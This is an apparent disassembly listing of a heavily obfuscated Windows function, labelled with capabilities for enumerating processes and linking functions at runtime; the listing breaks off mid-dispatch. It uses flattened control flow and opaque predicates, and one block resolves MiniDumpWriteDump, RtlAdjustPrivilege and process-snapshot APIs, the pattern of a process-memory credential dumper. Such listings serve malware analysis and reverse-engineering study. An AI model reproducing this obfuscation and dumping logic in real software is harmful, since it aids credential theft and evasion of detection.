Function at 0x140001000
Capabilities:
Enumerate processes
Link many functions at runtime

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xe8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x50], xmm6
mov rax, qword [0x14000b008]
xor rax, rbp
mov qword [rbp + 0x48], rax
mov eax, dword [0x14000b040]
mov ecx, dword [0x14000b044]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x3f]
cmp ecx, 0xa
setl byte [rbp + 0x3e]
xorps xmm6, xmm6
mov r13, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, 0x836022db
jmp 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x55d7bbca
mov eax, 0xd2ac57b7
nop
cmove ecx, eax
cmp dword [0x14000b044], 0xa
cmovl ecx, eax
cmp ecx, 0x2369ded
jle 0x140001190
cmp ecx, 0x3f41ea4e
jle 0x140001220
cmp ecx, 0x5eb7d7e5
jle 0x140001362
cmp ecx, 0x6ec902c2
jg 0x1400014ee
cmp ecx, 0x6a16034d
jg 0x14000188b
cmp ecx, 0x620b770d
jle 0x140001dc8
cmp ecx, 0x66b3638c
jle 0x1400028a4
cmp ecx, 0x68cb4a70
jg 0x140003b68
cmp ecx, 0x66b3638d
je 0x1400041f3
cmp ecx, 0x67d8a8aa
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge dl
setl al
mov ebx, eax
xor bl, r8b
and dl, r8b
xor dl, bl
and cl, al
not dl
and dl, cl
xor dl, bl
and al, r8b
mov r8d, eax
xor r8b, dl
mov ebx, eax
xor bl, 1
or bl, dl
and bl, r8b
mov ecx, edx
xor cl, 1
and cl, al
xor cl, bl
mov ebx, r8d
xor bl, 1
or bl, cl
mov ecx, r8d
xor cl, bl
xor cl, 1
not bl
and bl, r8b
or bl, cl
or al, dl
xor al, r8b
and cl, al
xor al, bl
xor al, cl
test al, 1
mov ecx, 0xca77043
mov eax, 0xaa41f9fd
cmovne ecx, eax
jmp 0x14000108d
cmp ecx, 0xc4ef2f49
jle 0x1400012f0
cmp ecx, 0xe44e1a95
jg 0x1400013c0
cmp ecx, 0xd55e95ab
jle 0x140001554
cmp ecx, 0xe0e2b85e
jg 0x140001914
cmp ecx, 0xdb927de9
jle 0x140001e02
cmp ecx, 0xdd8ef6a5
jle 0x14000290b
cmp ecx, 0xddce6fe0
jg 0x140003bcc
cmp ecx, 0xdd8ef6a6
je 0x14000425c
cmp ecx, 0xddc02408
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x82130580
mov eax, 0x75b79c38
jmp 0x140001080
cmp ecx, 0x1ef8cf08
jg 0x14000141e
cmp ecx, 0x10cf0943
jle 0x1400015c2
cmp ecx, 0x17fc7348
jg 0x14000196e
cmp ecx, 0x1381fb7f
jle 0x140001e48
cmp ecx, 0x1668e481
jle 0x14000295f
cmp ecx, 0x16daccdd
jg 0x140003c02
cmp ecx, 0x1668e482
je 0x14000428c
cmp ecx, 0x1676a632
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x14000b044], 0xa
setge dl
setl bl
mov eax, ebx
xor al, r8b
or cl, bl
and cl, al
and dl, r8b
xor dl, cl
or bl, r8b
xor bl, al
xor al, dl
or al, dl
mov ecx, ebx
xor cl, al
xor cl, 1
mov edx, eax
xor dl, 1
or dl, bl
and dl, cl
and bl, al
mov eax, edx
not al
and al, bl
xor bl, dl
xor bl, al
test bl, 1
mov ecx, 0x50c3e9c8
mov eax, 0xf6e35806
cmovne ecx, eax
jmp 0x14000108d
cmp ecx, 0xa3662510
jg 0x14000147c
cmp ecx, 0x92ffe6ce
jle 0x14000163a
cmp ecx, 0x9b8021ba
jg 0x1400019c8
cmp ecx, 0x9795624f
jle 0x140001e96
cmp ecx, 0x9ab2f313
jle 0x14000298d
cmp ecx, 0x9b6c23a1
jg 0x140003c38
cmp ecx, 0x9ab2f314
je 0x1400042a2
cmp ecx, 0x9ac0689e
jne 0x14000108d
mov r12, qword [rbp - 0x80]
mov r14d, dword [rbp - 0x34]
mov ecx, 0xd37db717
jmp 0x14000108d
cmp ecx, 0x4f0a0bc0
jle 0x1400016a0
cmp ecx, 0x56e49b84
jg 0x140001a0e
cmp ecx, 0x52aaf825
jle 0x140001ed0
cmp ecx, 0x55d7bbc9
jle 0x1400029cf
cmp ecx, 0x56725ed2
jg 0x140003c5a
cmp ecx, 0x55d7bbca
je 0x1400042ac
cmp ecx, 0x56074aaa
jne 0x14000108d
mov ecx, 0xe62368f
jmp 0x14000108d
cmp ecx, 0xf23bf80f
jle 0x1400016fe
cmp ecx, 0xf94ef677
jg 0x140001a6e
cmp ecx, 0xf61aac25
jle 0x140001f0a
cmp ecx, 0xf880f0ac
jle 0x1400029fd
cmp ecx, 0xf9042bca
jg 0x140003c7c
cmp ecx, 0xf880f0ad
je 0x1400042b6
cmp ecx, 0xf8cea4e6
jne 0x14000108d
mov ecx, 0xb93b529
jmp 0x14000108d
cmp ecx, 0x2df448e8
jle 0x1400017e7
cmp ecx, 0x344081d4
jg 0x140001ab4
cmp ecx, 0x3051f125
jle 0x140001f58
cmp ecx, 0x310520eb
jle 0x140002a2b
cmp ecx, 0x3293bd8a
jg 0x140003c9e
cmp ecx, 0x310520ec
je 0x1400042c0
cmp ecx, 0x311a41ae
jne 0x14000108d
mov ecx, 0xb752982e
jmp 0x14000108d
cmp ecx, 0xb07b8189
jle 0x140001839
cmp ecx, 0xbbe10bfd
jg 0x140001b0e
cmp ecx, 0xb833675e
jle 0x140001fa6
cmp ecx, 0xb97b5ae1
jle 0x140002a93
cmp ecx, 0xba35a31b
jg 0x140003cc0
cmp ecx, 0xb97b5ae2
je 0x1400042de
cmp ecx, 0xba26e137
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf9696b2a
mov eax, 0xc6b7ca5b
jmp 0x140001080
cmp ecx, 0x78e2f562
jg 0x140001b68
cmp ecx, 0x754230c3
jle 0x140001fe0
cmp ecx, 0x75b79c37
jle 0x140002ad5
cmp ecx, 0x76c0261b
jg 0x140003d08
cmp ecx, 0x75b79c38
je 0x140004347
cmp ecx, 0x760cc941
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xd0a64338
mov eax, 0xfb281493
jmp 0x140001080
cmp ecx, 0xcbc856f9
jg 0x140001bae
cmp ecx, 0xc79004bd
jle 0x14000206b
cmp ecx, 0xca39aeb3
jle 0x140002b03
cmp ecx, 0xcabff6b4
jg 0x140003d2a
cmp ecx, 0xca39aeb4
je 0x140004365
cmp ecx, 0xca7d6dbf
jne 0x14000108d
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x50], rax
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x7a530ee8
mov eax, 0x620b770e
jmp 0x140001080
cmp ecx, 0xa01c71b
jle 0x140001c10
cmp ecx, 0xcab06a6
jle 0x1400020a5
cmp ecx, 0xf345e9b
jle 0x140002b45
cmp ecx, 0x10040eae
jg 0x140003d9a
cmp ecx, 0xf345e9c
je 0x140004399
cmp ecx, 0xf3a8867
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x84a1241
mov eax, 0x478c7be8
cmovne ecx, eax
cmp dword [0x14000b044], 0xa
mov eax, 0x84a1241
cmovl ecx, eax
jmp 0x14000108d
cmp ecx, 0x88f9240a
jle 0x140001c56
cmp ecx, 0x8bc229f8
jle 0x1400020f3
cmp ecx, 0x8ff7b4d2
jle 0x140002b73
cmp ecx, 0x90ed2a0b
jg 0x140003dbc
cmp ecx, 0x8ff7b4d3
je 0x1400043a3
cmp ecx, 0x90225df8
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x9d98529d
mov eax, 0x310520ec
jmp 0x140001080
cmp ecx, 0x44dbff8c
jle 0x140001c9c
cmp ecx, 0x48af08ee
jle 0x140002141
cmp ecx, 0x4a86f790
jle 0x140002bf7
cmp ecx, 0x4d5baa97
jg 0x140003df2
cmp ecx, 0x4a86f791
je 0x1400043d3
cmp ecx, 0x4cb4f864
jne 0x14000108d
cmp byte [rbp + 0x39], 0
mov ecx, 0xc3fed476
mov eax, 0x81e91eed
cmovne ecx, eax
jmp 0x14000108d
cmp ecx, 0xea9ab0cc
jle 0x140001ce2
cmp ecx, 0xee1ca56a
jle 0x14000218f
cmp ecx, 0xf05a39f1
jle 0x140002c4b
cmp ecx, 0xf102ecba
jg 0x140003e3a
cmp ecx, 0xf05a39f2
je 0x14000442f
cmp ecx, 0xf0fc4f3f
jne 0x14000108d
mov ecx, dword [0x14000b040]
lea eax, [rcx - 1]
imul eax, ecx
xor edi, edi
and eax, 1
sete dil
cmp dword [0x14000b044], 0xa
setge dl
setl bl
mov r9d, ebx
xor r9b, dil
and dl, dil
xor dl, r9b
or al, bl
mov r8d, eax
and r8b, r9b
or al, dl
xor al, 1
or al, r8b
or bl, dil
mov edx, r9d
xor dl, 1
movzx edx, dl
test bl, bl
cmove edx, edi
xor dl, 1
or dl, bl
xor bl, r9b
mov ecx, ebx
xor cl, 1
movzx ecx, cl
movzx edi, r9b
test dl, dl
cmovne edi, ecx
or dl, bl
mov ecx, edi
xor cl, dl
xor cl, 1
xor dl, 1
and dl, dil
or dl, cl
mov ebx, eax
xor bl, dl
test al, al
mov ecx, 0xa2404c03
mov edi, 0xd1e49c80
cmovne ecx, edi
test dl, 1
mov eax, 0xa2404c03
cmovne ecx, eax
test bl, 1
cmove ecx, edi
jmp 0x14000108d
cmp ecx, 0x27a5d1d1
jle 0x140001d3c
cmp ecx, 0x2b48752f
jle 0x1400021d5
cmp ecx, 0x2ccce689
jle 0x140002c9f
cmp ecx, 0x2d6fe521
jg 0x140003ea0
cmp ecx, 0x2ccce68a
je 0x140004439
cmp ecx, 0x2cd2b2b5
jne 0x14000108d
mov ecx, 0xe0e2b85f
jmp 0x14000108d
cmp ecx, 0xaa41f9fc
jle 0x140001d82
cmp ecx, 0xad0de8bf
jle 0x14000220f
cmp ecx, 0xadc64990
jle 0x140002ce1
cmp ecx, 0xaf963d7a
jg 0x140003ec2
cmp ecx, 0xadc64991
je 0x14000448a
cmp ecx, 0xaf289448
jne 0x14000108d
mov ecx, 0xd7ac293
jmp 0x14000108d
cmp ecx, 0x6bd80392
jle 0x140002249
cmp ecx, 0x6cea6d02
jle 0x140002d3b
cmp ecx, 0x6e99feef
jg 0x140003ee4
cmp ecx, 0x6cea6d03
je 0x1400044a6
cmp ecx, 0x6d9181fb
jne 0x14000108d
mov eax, dword [0x14000b040]
mov ecx, dword [0x14000b044]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
mov eax, 0x60cc0bdf
mov edi, 0xf170f28d
cmove eax, edi
sete r8b
cmp ecx, 0xa
mov ebx, 0x60cc0bdf
cmovge eax, ebx
setl bl
xor bl, r8b
cmovne eax, edi
cmp ecx, 0xa
mov ecx, eax
cmovl ecx, edi
test dl, 1
cmove ecx, eax
jmp 0x14000108d
cmp ecx, 0xe21705f3
jle 0x140002283
cmp ecx, 0xe26c2332
jle 0x140002d69
cmp ecx, 0xe2c5e644
jg 0x140003f2f
cmp ecx, 0xe26c2333
je 0x1400044b0
cmp ecx, 0xe29ea776
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x7f1186ab
mov eax, 0xff504488
jmp 0x140001080
cmp ecx, 0x1ad2a9bd
jle 0x1400022bd
cmp ecx, 0x1c4ceaa6
jle 0x140002d97
cmp ecx, 0x1d29eb4f
jg 0x140003f65
cmp ecx, 0x1c4ceaa7
je 0x1400044ba
cmp ecx, 0x1c91d157
jne 0x14000108d
sub rsp, 0x20
lea rcx, str.___I_could_make_it_much_harder_by_the_way____n
call fcn.140006890
add rsp, 0x20
mov ecx, 0x27e8c3bf
jmp 0x14000108d
cmp ecx, 0x9faa39b1
jle 0x14000239d
cmp ecx, 0xa09dbd47
jle 0x140002dc9
cmp ecx, 0xa2404c02
jg 0x140003f9e
cmp ecx, 0xa09dbd48
je 0x1400044f1
cmp ecx, 0xa173826d
jne 0x14000108d
mov ecx, 0xa3e25be9
jmp 0x14000108d
cmp ecx, 0x5a92ae9c
jle 0x1400023d7
cmp ecx, 0x5c24664d
jle 0x140002df7
cmp ecx, 0x5ddcc847
jg 0x140004018
cmp ecx, 0x5c24664e
je 0x140004512
cmp ecx, 0x5d156038
jne 0x14000108d
mov eax, dword [rbp + 4]
mov dword [rbp + 0x1c], eax
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xb7c99f75
mov eax, 0x30741903
jmp 0x140001080
cmp ecx, 0xfc2f41c8
jle 0x140002411
cmp ecx, 0x1380b69
jle 0x140002e25
cmp ecx, 0x1b12ccf
jg 0x140004094
cmp ecx, 0x1380b6a
je 0x140004530
cmp ecx, 0x1ab6ea9
jne 0x14000108d
mov ecx, 0x27f79834
jmp 0x14000108d
cmp ecx, 0x3a30e2b6
jle 0x1400024a5
cmp ecx, 0x3c8b42ad
jle 0x140002e67
cmp ecx, 0x3eb4fec0
jg 0x1400040ca
cmp ecx, 0x3c8b42ae
je 0x140004546
cmp ecx, 0x3d43278a
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x17fc7349
mov eax, 0x75495fa3
jmp 0x140001080
cmp ecx, 0xc1b36870
jle 0x140002535
cmp ecx, 0xc39b9c6f
jle 0x140002e95
cmp ecx, 0xc409519f
jg 0x140004147
cmp ecx, 0xc39b9c70
je 0x140004550
cmp ecx, 0xc3fed476
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3c18e90d
mov eax, 0x2b8328e5
jmp 0x140001080
cmp ecx, 0x7ae9ab3f
jle 0x140002583
cmp ecx, 0x7dbbd5d6
jle 0x140002ec7
cmp ecx, 0x7f3b4301
jg 0x14000417d
cmp ecx, 0x7dbbd5d7
je 0x14000456e
cmp ecx, 0x7f1186ab
jne 0x14000108d
mov ecx, 0xff504488
jmp 0x14000108d
cmp ecx, 0xd1e49c7f
jle 0x1400025cf
cmp ecx, 0xd46b41b7
jg 0x140002ef5
cmp ecx, 0xd364fecb
jle 0x14000419f
cmp ecx, 0xd364fecc
je 0x1400045b4
cmp ecx, 0xd37db717
jne 0x14000108d
mov dword [rbp - 0x38], r14d
mov qword [rbp - 0x30], r12
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xaa9c1f96
mov eax, 0xa91eae4d
jmp 0x140001080
cmp ecx, 0x4fb2994
jg 0x14000261d
cmp ecx, 0x365e75c
jg 0x140002f37
cmp ecx, 0x2369dee
je 0x1400045e9
cmp ecx, 0x23abe56
je 0x140004607
cmp ecx, 0x318fd24
jne 0x14000108d
mov ecx, 0x1b351e19
jmp 0x14000108d
cmp ecx, 0x84c1d1dc
jg 0x140002657
cmp ecx, 0x828898be
jg 0x140002fa0
cmp ecx, 0x81e91eed
je 0x140004623
cmp ecx, 0x820426c6
je 0x140004641
cmp ecx, 0x82130580
jne 0x14000108d
mov ecx, 0xddc02408
jmp 0x14000108d
cmp ecx, 0x42320677
jg 0x1400026a5
cmp ecx, 0x3f880028
jg 0x140002fe2
cmp ecx, 0x3f41ea4f
je 0x14000468f
cmp ecx, 0x3f6e0aee
je 0x140004699
cmp ecx, 0x3f7e4fb4
jne 0x14000108d
mov ecx, 0x6cc1e34a
jmp 0x14000108d
cmp ecx, 0xe764c932
jg 0x14000277d
cmp ecx, 0xe5befe2d
jg 0x140003024
cmp ecx, 0xe44e1a96
je 0x1400046a3
cmp ecx, 0xe45d9a63
je 0x1400046ad
cmp ecx, 0xe49cde6a
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf438e3d5
mov eax, 0x72326474
jmp 0x140001080
cmp ecx, 0x24091fbf
jg 0x1400027bb
cmp ecx, 0x2266b6c9
jg 0x140003052
cmp ecx, 0x1ef8cf09
je 0x1400046cb
cmp ecx, 0x1fe50736
je 0x1400046d5
cmp ecx, 0x2225cf52
jne 0x14000108d
mov ecx, 0x8b7d68fe
jmp 0x14000108d
cmp ecx, 0xa72e9f8a
jg 0x140002832
cmp ecx, 0xa3e25be8
jg 0x14000308c
cmp ecx, 0xa3662511
je 0x140004737
cmp ecx, 0xa391e20f
je 0x140004741
cmp ecx, 0xa3a6ea41
jne 0x14000108d
mov ecx, 0xb833675f
jmp 0x14000108d
cmp ecx, 0x61b133c7
jg 0x1400030df
cmp ecx, 0x5eb7d7e6
je 0x140004757
cmp ecx, 0x60bcc61d
je 0x140004761
cmp ecx, 0x60cc0bdf
jne 0x14000108d
mov ecx, 0x6d9181fb
jmp 0x14000108d
cmp ecx, 0xd80c4294
jg 0x14000310d
cmp ecx, 0xd55e95ac
je 0x1400047c6
cmp ecx, 0xd572155b
je 0x1400047d4
cmp ecx, 0xd7a965b5
jne 0x14000108d
cmp byte [rbp + 0x38], 0
mov ecx, 0xb8edd371
mov eax, 0xa5509ba5
cmovne ecx, eax
jmp 0x14000108d
cmp ecx, 0x11f7c1f5
jg 0x14000314f
cmp ecx, 0x10cf0944
je 0x140004806
cmp ecx, 0x113c1f8f
je 0x140004824
cmp ecx, 0x11ea2476
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xaf289448
mov eax, 0xd7ac293
jmp 0x140001080
cmp ecx, 0x964a1360
jg 0x1400031a3
cmp ecx, 0x92ffe6cf
je 0x14000482e
cmp ecx, 0x93003f82
je 0x140004838
cmp ecx, 0x959cae33
jne 0x14000108d
mov ecx, 0xe2c5e645
jmp 0x14000108d
cmp ecx, 0x50c3e9c7
jg 0x14000322f
cmp ecx, 0x4f0a0bc1
je 0x140004856
cmp ecx, 0x4f70e192
je 0x140004874
cmp ecx, 0x509e2bc6
jne 0x14000108d
mov ecx, 0x3fd06975
jmp 0x14000108d
cmp ecx, 0xf488bcb5
jg 0x1400032a3
cmp ecx, 0xf23bf810
je 0x14000487e
cmp ecx, 0xf36c24cf
je 0x14000489c
cmp ecx, 0xf438e3d5
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x757ba784
mov eax, 0xc24405a9
jmp 0x140001080
cmp ecx, 0x2f4ced5d
jg 0x1400032e5
cmp ecx, 0x2df448e9
je 0x1400048a6
cmp ecx, 0x2e832541
je 0x1400048b0
cmp ecx, 0x2ed7763f
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3c8b42ae
mov eax, 0x6bd80393
jmp 0x140001080
cmp ecx, 0xb66cb8f1
jg 0x140003313
cmp ecx, 0xb07b818a
je 0x140004917
cmp ecx, 0xb3d8b14c
je 0x140004921
cmp ecx, 0xb3f65a8f
jne 0x14000108d
mov ecx, 0xa01c71c
jmp 0x14000108d
cmp ecx, 0x72adca6f
jg 0x14000335a
cmp ecx, 0x6ec902c3
je 0x14000492b
cmp ecx, 0x71eff936
je 0x140004947
cmp ecx, 0x72326474
jne 0x14000108d
mov eax, dword [0x14000b040]
mov edx, dword [0x14000b044]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov esi, 0x526c2903
mov edi, 0x4302ef7d
cmovne esi, edi
test cl, 1
mov eax, esi
cmove eax, edi
cmp edx, 0xa
cmovl eax, esi
test cl, 1
mov ecx, 0x4302ef7d
cmove ecx, eax
cmp edx, 0xa
cmovl ecx, eax
test bl, bl
mov eax, 0x526c2903
cmovne ecx, eax
jmp 0x14000108d
cmp ecx, 0xc645f103
jg 0x1400033fc
cmp ecx, 0xc4ef2f4a
je 0x140004965
cmp ecx, 0xc53cdab8
je 0x1400049c8
cmp ecx, 0xc561bc44
jne 0x14000108d
mov ecx, 0xd80c4295
jmp 0x14000108d
cmp ecx, 0xc3bf8e0
jg 0x14000342a
cmp ecx, 0xa01c71c
je 0x1400049e6
cmp ecx, 0xace71e8
je 0x140004a04
cmp ecx, 0xb93b529
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xf8cea4e6
mov eax, 0xe49cde6a
jmp 0x140001080
cmp ecx, 0x8a36b8d7
jg 0x140003458
cmp ecx, 0x88f9240b
je 0x140004a44
cmp ecx, 0x8957b753
je 0x140004a4e
cmp ecx, 0x897f6088
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xfea75da8
mov eax, 0x188a8e09
jmp 0x140001080
cmp ecx, 0x4783734a
jg 0x1400034f2
cmp ecx, 0x44dbff8d
je 0x140004ad8
cmp ecx, 0x45afad2e
je 0x140004af6
cmp ecx, 0x460ec728
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa72e9f8b
mov eax, 0x897f6088
jmp 0x140001080
cmp ecx, 0xed1653f4
jg 0x140003549
cmp ecx, 0xea9ab0cd
je 0x140004b3b
cmp ecx, 0xeafb16aa
je 0x140004b6b
cmp ecx, 0xeb1d5070
jne 0x14000108d
cmp byte [rbp + 0x35], 0
mov ecx, 0xfc2f41c9
mov eax, 0x58abc0b2
cmovne ecx, eax
jmp 0x14000108d
cmp ecx, 0x28b0644d
jg 0x140003594
cmp ecx, 0x27a5d1d2
je 0x140004b75
cmp ecx, 0x27e8c3bf
je 0x140004bba
cmp ecx, 0x27f79834
jne 0x14000108d
mov ecx, 0x51d76f9f
jmp 0x14000108d
cmp ecx, 0xab86ced4
jg 0x1400035c6
cmp ecx, 0xaa41f9fd
je 0x140004bec
cmp ecx, 0xaa861017
je 0x140004c0a
cmp ecx, 0xaa9c1f96
jne 0x14000108d
mov ecx, 0xa91eae4d
jmp 0x14000108d
cmp ecx, 0x6b094de8
jg 0x140003608
cmp ecx, 0x6a16034e
je 0x140004c28
cmp ecx, 0x6aaed7b7
je 0x140004c46
cmp ecx, 0x6ad787c4
jne 0x14000108d
mov ecx, 0xdc051bdf
jmp 0x14000108d
cmp ecx, 0xe18b434e
jg 0x140003636
cmp ecx, 0xe0e2b85f
je 0x140004c8a
cmp ecx, 0xe0f873b8
je 0x140004cfd
cmp ecx, 0xe1031c0e
jne 0x14000108d
mov ecx, 0x9ac0689e
jmp 0x14000108d
cmp ecx, 0x19229a08
jg 0x140003664
cmp ecx, 0x17fc7349
je 0x140004d3c
cmp ecx, 0x188a8e09
je 0x140004d46
cmp ecx, 0x18cecb75
jne 0x14000108d
mov rcx, qword [rbp + 0x28]
sub rsp, 0x20
lea rdx, str.Process32First
call r13
add rsp, 0x20
mov rcx, qword [rbp + 0x28]
sub rsp, 0x20
lea rdx, str.Process32Next
call r13
add rsp, 0x20
mov rcx, qword [rbp + 8]
sub rsp, 0x20
lea rdx, str.MiniDumpWriteDump
call r13
add rsp, 0x20
mov qword [rbp - 0x60], rax
mov rcx, qword [rbp + 0x28]
sub rsp, 0x20
lea rdx, str.CreateFileA
call r13
add rsp, 0x20
mov qword [rbp - 0x78], rax
mov rcx, qword [rbp - 8]
sub rsp, 0x20
lea rdx, str.RtlAdjustPrivilege
call r13
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
add rsp, 0x20
mov qword [rbp - 0x68], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xba35a31c
mov eax, 0x9ab2f314
jmp 0x140001080
cmp ecx, 0x9e1a41cf
jg 0x14000371a
cmp ecx, 0x9b8021bb
je 0x140004d83
cmp ecx, 0x9be30828
je 0x140004da1
cmp ecx, 0x9d98529d
jne 0x14000108d
mov ecx, 0x90225df8
jmp 0x14000108d
cmp ecx, 0x58fb95c5
jg 0x140003748
cmp ecx, 0x56e49b85
je 0x140004e4c
cmp ecx, 0x58937646
je 0x140004e56
cmp ecx, 0x58abc0b2
jne 0x14000108d
mov ecx, 0x2266b6ca
jmp 0x14000108d
cmp ecx, 0xfaf6d201
jg 0x140003776
cmp ecx, 0xf94ef678
je 0x140004e60
cmp ecx, 0xf9696b2a
je 0x140004e82
cmp ecx, 0xfab675d3
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setge cl
setl dl
mov ebx, edx
xor bl, al
and dl, al
or cl, al
xor dl, cl
xor dl, bl
and cl, bl
or cl, dl
mov eax, ebx
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
and dl, bl
xor bl, cl
or al, bl
xor bl, 1
or dl, bl
mov ecx, eax
not cl
and cl, dl
xor dl, al
xor dl, cl
test dl, 1
mov ecx, 0xd572155b
mov eax, 0x76c0261c
cmovne ecx, eax
jmp 0x14000108d
cmp ecx, 0x38bb8ff4
jg 0x1400037e3
cmp ecx, 0x344081d5
je 0x140004e90
cmp ecx, 0x35b16a31
je 0x140004e9a
cmp ecx, 0x37a85428
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x14000b044], 0xa
setge cl
setl dl
mov ebx, edx
xor bl, al
and dl, al
or cl, al
xor dl, cl
xor dl, bl
or dl, bl
xor bl, 1
and bl, cl
mov r8d, ecx
or r8b, dl
mov eax, ebx
xor al, dl
not bl
or bl, dl
and bl, al
not dl
and dl, cl
xor dl, bl
xor dl, r8b
test dl, 1
mov ecx, 0xeb1d5070
mov eax, 0x5ad56fd6
cmovne ecx, eax
jmp 0x14000108d
cmp ecx, 0xbd8ec022
jg 0x140003811
cmp ecx, 0xbbe10bfe
je 0x140004eb8
cmp ecx, 0xbce6148c
je 0x140004f70
cmp ecx, 0xbd11f2bd
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x4783734b
mov eax, 0x2ccce68a
jmp 0x140001080
cmp ecx, 0x7a4c72de
jg 0x1400038ab
cmp ecx, 0x78e2f563
je 0x140004fb7
cmp ecx, 0x79e93321
je 0x140004fc1
cmp ecx, 0x7a211a7b
jne 0x14000108d
sub rsp, 0x20
lea rcx, str.ntdll.dll
call r15
add rsp, 0x20
mov ecx, 0x7a4c72df
jmp 0x14000108d
cmp ecx, 0xcdfd57ec
jg 0x1400038fe
cmp ecx, 0xcbc856fa
je 0x140004fe2
cmp ecx, 0xcbff6b97
je 0x140004ff5
cmp ecx, 0xcdcae279
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xe19a8f84
mov eax, 0xf488bcb6
jmp 0x140001080
cmp ecx, 0x84a1240
jg 0x140003989
cmp ecx, 0x4fb2995
je 0x14000503f
cmp ecx, 0x50baa04
je 0x14000509a
cmp ecx, 0x79b5dc3
jne 0x14000108d
mov ecx, 0x27f79834
jmp 0x14000108d
cmp ecx, 0x860fe9e4
jg 0x140003a34
cmp ecx, 0x84c1d1dd
je 0x140005107
cmp ecx, 0x852ec00a
je 0x140005125
cmp ecx, 0x857d0f09
jne 0x14000108d
mov eax, dword [0x14000b040]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x860fe9e5
mov eax, 0xc1168ca0
jmp 0x140001080
cmp ecx, 0x4302ef7c
jg 0x140003a76
cmp ecx, 0x42320678
je 0x14000512f
cmp ecx, 0x42649094
je 0x140005178
cmp ecx, 0x4273a38d
jne 0x14000108d
mov edx, dword [0x14000b040]
mov r9d, dword [0x14000b044]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
sete bl
cmp r9d, 0xa
setl al
setge cl
and cl, bl
xor bl, al
xor cl, bl
mov r8d, esi
or r8b, al
mov eax, ecx
xor al, 1
movzx eax, al
movzx edi, bl
test r8b, r8b
cmovne eax, edi
mov edx, r8d
xor dl, cl
xor dl, 1
mov ebx, r8d
xor bl, 1
and bl, cl
or bl, dl
mov edx, eax
xor dl, bl
test al, al
mov eax, 0x71eff936
mov r10d, 0x90ed2a0c
cmovne eax, r10d
test bl, bl
mov ebx, 0x71eff936
cmovne eax, ebx
test dl, 1
cmove eax, r10d
test cl, cl
mov ecx, 0x71eff936
cmovne ecx, eax
test r8b, r8b
cmovne ecx, eax
test dil, dil
mov eax, ecx
cmovne eax, ebx
test r8b, r8b
cmove eax, ecx
test esi, esi
mov ecx, eax
cmove ecx, ebx
cmp r9d, 0xa
cmovge ecx, eax
jmp 0x14000108d
cmp ecx, 0xe8aa3a1c
jg 0x140003aa4
cmp ecx, 0xe764c933
je 0x14000518e
